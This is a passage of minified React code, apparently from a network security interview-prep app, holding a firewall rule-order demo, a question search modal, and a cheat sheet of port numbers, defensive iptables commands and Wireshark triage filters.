up`,children:`▲`}),(0,k.jsx)(`button`,{onClick:()=>le(t,t+1),disabled:t>=n.length-2,className:`text-[10px] px-1.5 py-0.5 rounded bg-slate-100 text-slate-600 hover:bg-slate-200 disabled:opacity-20 cursor-pointer active:scale-95`,title:`Move down`,children:`▼`})]})]},e.id)})}),(0,k.jsxs)(`div`,{className:`mt-4 p-3.5 rounded-xl bg-blue-50 border border-blue-200 text-xs text-blue-900 leading-relaxed flex items-start gap-2.5`,children:[(0,k.jsx)(Be,{className:`h-4 w-4 shrink-0 text-blue-600 mt-0.5`}),(0,k.jsxs)(`div`,{children:[(0,k.jsx)(`strong`,{children:`Interview Demonstration:`}),` Try moving `,(0,k.jsx)(`em`,{children:`Rule 2 (DENY ANY 443)`}),` above `,(0,k.jsx)(`em`,{children:`Rule 1 (ALLOW 10.0.0.0/24)`}),`. When you simulate packet `,(0,k.jsx)(`code`,{children:`10.0.0.25:443`}),`, the decision immediately changes from `,(0,k.jsx)(`strong`,{children:`ALLOWED`}),` to `,(0,k.jsx)(`strong`,{children:`DENIED`}),` because the firewall evaluates rules from top to bottom and terminates at the first match!`]})]})]})})]})]})},er=({onBackToLab:e,onSelectQuestion:t})=>(0,k.jsxs)(`div`,{className:`space-y-6 max-w-5xl mx-auto animate-fadeIn py-2 pb-12`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,k.jsxs)(`button`,{onClick:e,className:`flex items-center gap-2 px-3.5 py-1.5 rounded-xl border border-slate-200 bg-white text-xs font-bold text-slate-700 hover:bg-slate-50 transition-all shadow-2xs cursor-pointer`,children:[(0,k.jsx)(he,{className:`h-4 w-4`}),`Back to Question Lab`]}),(0,k.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,k.jsx)(`span`,{className:`text-xs text-slate-500 font-mono font-medium`,children:`Directly tested in:`}),(0,k.jsx)(`button`,{onClick:()=>t(7),className:`px-2.5 py-1 rounded-md bg-blue-50 border border-blue-200 text-[11px] font-bold text-blue-700 hover:bg-blue-100 transition-colors cursor-pointer`,children:`Q7 (Rule Order)`}),(0,k.jsx)(`button`,{onClick:()=>t(10),className:`px-2.5 py-1 rounded-md bg-indigo-50 border border-indigo-200 text-[11px] font-bold text-indigo-700 hover:bg-indigo-100 transition-colors cursor-pointer`,children:`Q10 (Decision Engine)`})]})]}),(0,k.jsx)($n,{isStandalone:!0})]}),tr=[{category:`Common Ports & Protocols`,title:`Essential Network Security Port Numbers`,description:`Every network security interview requires instant recall of these well-known Layer 4 transport ports and protocols.`,commandsOrSyntax:[{label:`HTTP / HTTPS`,code:`TCP 80 (HTTP plaintext), TCP 443 (HTTPS TLS encrypted)`},{label:`DNS (Domain Name System)`,code:`UDP 53 (Standard queries), TCP 53 (Zone transfers / >512B replies)`},{label:`SSH / Telnet`,code:`TCP 22 (Secure Shell), TCP 23 (Telnet plaintext - Insecure)`},{label:`Databases`,code:`TCP 3306 (MySQL), TCP 5432 (PostgreSQL), TCP 1433 (MS SQL), TCP 1521 (Oracle)`},{label:`IPsec / VPN`,code:`UDP 500 (IKE), UDP 4500 (NAT-T), Protocol 50 (ESP), Protocol 51 (AH)`},{label:`Remote Access / Windows`,code:`TCP 3389 (RDP), TCP 445 (SMB), TCP 88 (Kerberos), TCP 389/636 (LDAP/LDAPS)`}],keyTips:[`DNS uses UDP 53 for normal queries for speed, but falls back to TCP 53 if responses exceed 512 bytes (or DNSSEC) and for zone transfers (AXFR).`,`Always differentiate IP protocol numbers (TCP=6, UDP=17, ICMP=1, ESP=50) from port numbers.`]},{category:`Firewall CLI Commands`,title:`Linux iptables & nftables Quick Reference`,description:`Practical syntax for packet filtering, NAT, and connection tracking.`,commandsOrSyntax:[{label:`List all rules with line numbers`,code:`iptables -L -n -v --line-numbers`},{label:`Allow established return traffic`,code:`iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT`},{label:`Block an abusive IP immediately`,code:`iptables -I INPUT 1 -s 198.51.100.25 -j DROP`},{label:`Configure NAT Port Forwarding (DNAT)`,code:`iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.1.50:443`},{label:`Inspect live state table`,code:`conntrack -L | grep ESTABLISHED`}],keyTips:[`-I inserts a rule at a specific line number (e.g. line 1 for high priority). -A appends to the very end.`,`Remember the 3 default filter chains: INPUT (to local host), FORWARD (routed through host), OUTPUT (generated by host).`]},{category:`Wireshark & Packet Capture`,title:`Wireshark Display Filters for Security Triage`,description:`Speed filter expressions for diagnosing firewall drops and TCP handshake anomalies.`,commandsOrSyntax:[{label:`Find TCP SYN Packets (Connection Initiation)`,code:`tcp.flags.syn == 1 && tcp.flags.ack == 0`},{label:`Find TCP Resets (Firewall Rejections)`,code:`tcp.flags.reset == 1`},{label:`Filter Specific Host & Port`,code:`ip.addr == 192.168.1.50 && tcp.port == 443`},{label:`Find TLS Handshake Failures / ClientHello`,code:`tls.handshake.type == 1`},{label:`Detect Potential Port Scans`,code:`tcp.flags.syn == 1 && tcp.flags.ack == 0 && !tcp.analysis.retransmission`}],keyTips:["Wireshark display filters (`ip.addr == ...`) filter already-captured packets, whereas BPF capture filters (`host ...`) filter at the network driver before capture.",`A stream of SYN packets with no response indicates a DROP (timeout), whereas an immediate RST indicates a REJECT.`]},{category:`Interview Frameworks`,title:`The "5-Tuple" and "OSI Model" Cheat Matrix`,description:`How to structure any network troubleshooting or architecture answer in an interview.`,commandsOrSyntax:[{label:`The 5-Tuple`,code:`1. Source IP
2. Destination IP
3. Source Port
4. Destination Port
5. Layer 4 Protocol (TCP/UDP/ICMP)`},{label:`OSI Security Stack`,code:`L7 App: WAF, App-ID, HTTP/TLS
L4 Transport: TCP/UDP ports, Stateful tracking
L3 Network: IP routing, Subnets, ICMP, IPsec
L2 Data Link: MAC addresses, VLAN tags, ARP
L1 Physical: Cables, Fiber, NIC links`}],keyTips:[`Start your technical explanations at Layer 3/4 before moving to Layer 7.`,`Always refer to the 5-tuple when asked how firewalls or NAT identify and track streams.`]}],nr=()=>{let[e,t]=(0,_.useState)(null),[n,r]=(0,_.useState)(``),i=(e,n)=>{navigator.clipboard.writeText(e),t(n),setTimeout(()=>t(null),2e3)},a=tr.filter(e=>e.title.toLowerCase().includes(n.toLowerCase())||e.category.toLowerCase().includes(n.toLowerCase())||e.description.toLowerCase().includes(n.toLowerCase())||e.commandsOrSyntax.some(e=>e.label.toLowerCase().includes(n.toLowerCase())||e.code.toLowerCase().includes(n.toLowerCase())));return(0,k.jsxs)(`div`,{className:`space-y-6 max-w-5xl mx-auto animate-fadeIn py-2`,children:[(0,k.jsx)(`div`,{className:`rounded-2xl border border-blue-200 bg-gradient-to-br from-blue-50 via-white to-indigo-50/40 p-6 shadow-sm`,children:(0,k.jsxs)(`div`,{className:`flex flex-col md:flex-row items-start md:items-center justify-between gap-4`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-3.5`,children:[(0,k.jsx)(`div`,{className:`flex h-12 w-12 items-center justify-center rounded-2xl bg-blue-600 text-white shadow-md shadow-blue-500/20 shrink-0`,children:(0,k.jsx)(Ce,{className:`h-6 w-6`})}),(0,k.jsxs)(`div`,{children:[(0,k.jsx)(`h2`,{className:`text-lg sm:text-xl font-extrabold text-slate-900 tracking-tight`,children:`Network Security Interview Cheat Sheet`}),(0,k.jsx)(`p`,{className:`text-xs sm:text-sm text-slate-600 font-medium`,children:`Speed reference for port numbers, iptables syntax, Wireshark display filters, and 5-tuple interview frameworks.`})]})]}),(0,k.jsxs)(`div`,{className:`relative w-full md:w-64`,children:[(0,k.jsx)(ot,{className:`absolute left-3 top-2.5 h-4 w-4 text-slate-400`}),(0,k.jsx)(`input`,{type:`text`,placeholder:`Filter cheat sheet...`,value:n,onChange:e=>r(e.target.value),className:`w-full rounded-xl border border-slate-200 bg-white pl-9 pr-3 py-2 text-xs text-slate-900 placeholder-slate-400 focus:border-blue-500 focus:outline-none shadow-2xs`})]})]})}),(0,k.jsx)(`div`,{className:`grid grid-cols-1 md:grid-cols-2 gap-6`,children:a.map((t,n)=>(0,k.jsxs)(`div`,{className:`rounded-2xl border border-slate-200 bg-white p-6 shadow-sm flex flex-col justify-between`,children:[(0,k.jsxs)(`div`,{children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between mb-2`,children:[(0,k.jsx)(`span`,{className:`text-[11px] font-extrabold text-blue-700 uppercase tracking-wider`,children:t.category}),(0,k.jsxs)(`span`,{className:`text-[10px] bg-slate-100 text-slate-600 px-2.5 py-0.5 rounded-full font-bold`,children:[t.commandsOrSyntax.length,` items`]})]}),(0,k.jsx)(`h3`,{className:`text-base font-extrabold text-slate-900 mb-1.5`,children:t.title}),(0,k.jsx)(`p`,{className:`text-xs text-slate-600 mb-4 leading-relaxed`,children:t.description}),(0,k.jsx)(`div`,{className:`space-y-2.5`,children:t.commandsOrSyntax.map((t,r)=>{let a=`${n}-${r}`;return(0,k.jsxs)(`div`,{className:`rounded-xl border border-slate-200 bg-slate-50 overflow-hidden`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between px-3 py-1.5 bg-slate-100/80 border-b border-slate-200 text-[11px] text-slate-700 font-bold`,children:[(0,k.jsx)(`span`,{children:t.label}),(0,k.jsx)(`button`,{onClick:()=>i(t.code,a),className:`flex items-center gap-1 text-[10px] text-blue-600 hover:text-blue-800 cursor-pointer font-bold`,children:e===a?(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(E,{className:`h-3 w-3 text-emerald-600`}),(0,k.jsx)(`span`,{className:`text-emerald-700`,children:`Copied`})]}):(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(Me,{className:`h-3 w-3`}),(0,k.jsx)(`span`,{children:`Copy`})]})})]}),(0,k.jsx)(`pre`,{className:`p-2.5 text-xs font-mono text-slate-800 overflow-x-auto whitespace-pre-wrap font-medium`,children:(0,k.jsx)(`code`,{children:t.code})})]},r)})})]}),(0,k.jsxs)(`div`,{className:`mt-4 pt-3 border-t border-slate-100`,children:[(0,k.jsxs)(`h5`,{className:`text-[11px] font-bold text-amber-800 mb-1 flex items-center gap-1`,children:[(0,k.jsx)(bt,{className:`h-3.5 w-3.5 text-amber-600`}),`Interviewer Pro Tip:`]}),(0,k.jsx)(`ul`,{className:`space-y-1`,children:t.keyTips.map((e,t)=>(0,k.jsxs)(`li`,{className:`text-xs text-slate-600 leading-relaxed font-medium`,children:[`• `,e]},t))})]})]},n))})]})},rr=({isOpen:e,onClose:t,questions:n,onSelectQuestion:r})=>{let[i,a]=(0,_.useState)(``),o=(0,_.useRef)(null);if((0,_.useEffect)(()=>{e&&setTimeout(()=>o.current?.focus(),50)},[e]),(0,_.useEffect)(()=>{let n=n=>{(n.ctrlKey||n.metaKey)&&n.key===`k`&&(n.preventDefault(),e&&t()),n.key===`Escape`&&e&&t()};return window.addEventListener(`keydown`,n),()=>window.removeEventListener(`keydown`,n)},[e,t]),!e)return null;let s=n.filter(e=>{let t=i.toLowerCase();return e.title.toLowerCase().includes(t)||e.category.toLowerCase().includes(t)||e.elevatorPitch.toLowerCase().includes(t)||e.keyTakeaways.some(e=>e.toLowerCase().includes(t))||e.id.toString()===i.trim()});return(0,k.jsxs)(`div`,{className:`fixed inset-0 z-50 flex items-start justify-center pt-8 sm:pt-20 px-2.5 sm:px-4 bg-slate-900/40 backdrop-blur-xs animate-fadeIn`,children:[(0,k.jsx)(`div`,{className:`fixed inset-0`,onClick:t}),(0,k.jsxs)(`div`,{className:`relative w-full max-w-2xl rounded-2xl border border-slate-200 bg-white shadow-2xl overflow-hidden z-10`,children:[(0,k.jsxs)(`div`,{className:`flex items-center px-4 py-3.5 border-b border-slate-100 bg-white`,children:[(0,k.jsx)(ot,{className:`h-5 w-5 text-slate-400 mr-3 shrink-0`}),(0,k.jsx)(`input`,{ref:o,type:`text`,placeholder:`Search questions by topic, keyword, rule, protocol...`,value:i,onChange:e=>a(e.target.value),className:`w-full bg-transparent text-sm sm:text-base text-slate-900 placeholder-slate-400 focus:outline-none font-medium`}),i&&(0,k.jsx)(`button`,{onClick:()=>a(``),className:`text-slate-400 hover:text-slate-700 mr-2 text-xs font-bold`,children:`Clear`}),(0,k.jsx)(`button`,{onClick:t,className:`p-1 rounded-lg text-slate-400 hover:text-slate-700 hover:bg-slate-100`,children:(0,k.jsx)(At,{className:`h-5 w-5`})})]}),(0,k.jsxs)(`div`,{className:`px-4 py-2.5 bg-slate-50 border-b border-slate-100 flex items-center gap-1.5 overflow-x-auto no-scrollbar`,children:[(0,k.jsx)(`span`,{className:`text-[11px] font-bold text-slate-500 uppercase shrink-0 mr-1`,children:`Popular:`}),[`Firewall`,`NAT`,`VPN`,`TLS`,`ACL`,`IDS vs IPS`,`Rule Order`,`Implicit Deny`].map(e=>(0,k.jsx)(`button`,{onClick:()=>a(e),className:`whitespace-nowrap rounded-md bg-white border border-slate-200 px-2.5 py-1 text-[11px] font-semibold text-slate-700 hover:bg-blue-50 hover:border-blue-300 hover:text-blue-700 transition-colors shadow-2xs cursor-pointer`,children:e},e))]}),(0,k.jsx)(`div`,{className:`max-h-[60vh] overflow-y-auto p-2 space-y-1`,children:s.length===0?(0,k.jsxs)(`div`,{className:`p-8 text-center text-slate-500 text-sm`,children:[(0,k.jsx)(gt,{className:`h-10 w-10 text-slate-300 mx-auto mb-2`}),(0,k.jsxs)(`p`,{className:`font-bold text-slate-700`,children:[`No questions found matching "`,i,`"`]}),(0,k.jsx)(`p`,{className:`text-xs text-slate-500 mt-1`,children:`Try searching for NAT, ACL, Stateful, IPsec, or TLS.`})]}):s.map(e=>(0,k.jsxs)(`button`,{onClick:()=>{r(e.id),t()},className:`group w-full flex items-center justify-between p-3 rounded-xl border border-transparent hover:border-blue-200 hover:bg-blue-50/70 text-left transition-all cursor-pointer`,children:[(0,k.jsxs)(`div`,{className:`flex items-start gap-3 min-w-0 pr-2`,children:[(0,k.jsx)(`span`,{className:`flex h-6 w-6 shrink-0 items-center justify-center rounded-lg bg-blue-50 text-blue-700 text-xs font-mono font-bold border border-blue-200 mt-0.5`,children:e.id<10?`0${e.id}`:e.id}),(0,k.jsxs)(`div`,{className:`min-w-0`,children:[(0,k.jsx)(`p`,{className:`text-sm font-bold text-slate-900 group-hover:text-blue-700 transition-colors truncate`,children:e.title}),(0,k.jsx)(`span`,{className:`text-xs text-slate-500 font-medium`,children:e.category})]})]}),(0,k.jsx)(_e,{className:`h-4 w-4 text-slate-400 group-hover:text-blue-600 group-hover:translate-x-0.5 transition-all shrink-0`})]},e.id))}),(0,k.jsxs)(`div`,{className:`px-4 py-2 bg-slate-50 border-t border-slate-100 text-[11px] text-slate-500 flex items-center justify-between font-medium`,children:[(0,k.jsx)(`span`,{children:`Press ESC to close`}),(0,k.jsxs)(`span`,{children:[`Showing `,s.length,` of `,n.length,` questions`]})]})]})]})};function ir(){let[e,t]=(0,_.useState)(()=>{let e=new URLSearchParams(window.location.search).get(`q`);if(e){let t=parseInt(e,10);if(t>=1&&t<=x.length)return t}return 1}),[n,r]=(0,_.useState)(()=>{try{let e=localStorage.getItem(`netsec_completed_ids`);return e?JSON.parse(e):[1]}catch{return[1]}}),[i,a]=(0,_.useState)(`all`),[o,s]=(0,_.useState)(`lab`),[c,l]=(0,_.useState)(!1),[u,d]=(0,_.useState)(!1);(0,_.useEffect)(()=>{try{localStorage.setItem(`netsec_completed_ids`,JSON.stringify(n))}catch{}},[n]),(0,_.useEffect)(()=>{let t=new URL(window.location.href);t.searchParams.set(`q`,e.toString()),window.history.replaceState({},``,t.toString())},[e]),(0,_.useEffect)(()=>{let e=e=>{[`INPUT`,`TEXTAREA`,`SELECT`].includes(e.target?.tagName)||(e.ctrlKey||e.metaKey)&&e.key.toLowerCase()===`k`&&(e.preventDefault(),l(!0))};return window.addEventListener(`keydown`,e),()=>window.removeEventListener(`keydown`,e)},[]);let f=e=>{t(e),s(`lab`),window.scrollTo({top:0,behavior:`smooth`})},p=t=>{a(t),s(`lab`);let n=x.filter(e=>t===`all`||e.categoryId===t);n.length>0&&!n.some(t=>t.id===e)&&f(n[0].id)},m=e=>{r(t=>{if(t.includes(e))return t.filter(t=>t!==e);let n=[...t,e];if(n.length===x.length)try{Un({particleCount:150,spread:90,origin:{y:.5}})}catch{}return n})},h=x.findIndex(t=>t.id===e),g=x[h]||x[0];return(0,k.jsxs)(`div`,{className:`min-h-screen bg-[#f8fafc] text-slate-900 flex flex-col selection:bg-blue-600 selection:text-white`,children:[(0,k.jsx)(Nt,{selectedCategory:i,onSelectCategory:p,onOpenSearch:()=>l(!0),mobileMenuOpen:u,setMobileMenuOpen:d}),(0,k.jsxs)(`div`,{className:`mx-auto flex w-full max-w-[1440px] flex-1 px-3 sm:px-5 lg:px-6 py-4 gap-6`,children:[(0,k.jsx)(Pt,{questions:x,currentQuestionId:e,onSelectQuestion:f,completedIds:n,selectedCategory:i,mobileOpen:u,setMobileOpen:d,onOpenSandbox:()=>s(`sandbox`)}),(0,k.jsxs)(`main`,{className:`flex-1 min-w-0`,children:[o===`lab`&&(0,k.jsx)(Gn,{question:g,questionIndex:h,totalQuestions:x.length,onPrevQuestion:()=>{h>0&&f(x[h-1].id)},onNextQuestion:()=>{h<x.length-1&&f(x[h+1].id)},onMarkCompleted:m,isCompleted:n.includes(g.id),onOpenSandbox:()=>s(`sandbox`)}),o===`sandbox`&&(0,k.jsx)(er,{onBackToLab:()=>s(`lab`),onSelectQuestion:f}),o===`cheatsheet`&&(0,k.jsx)(nr,{onSelectQuestion:f})]})]}),(0,k.jsx)(rr,{isOpen:c,onClose:()=>l(!1),questions:x,onSelectQuestion:f})]})}(0,v.createRoot)(document.getElementById(`root`)).render((0,k.jsx)(_.StrictMode,{children:(0,k.jsx)(ir,{})}));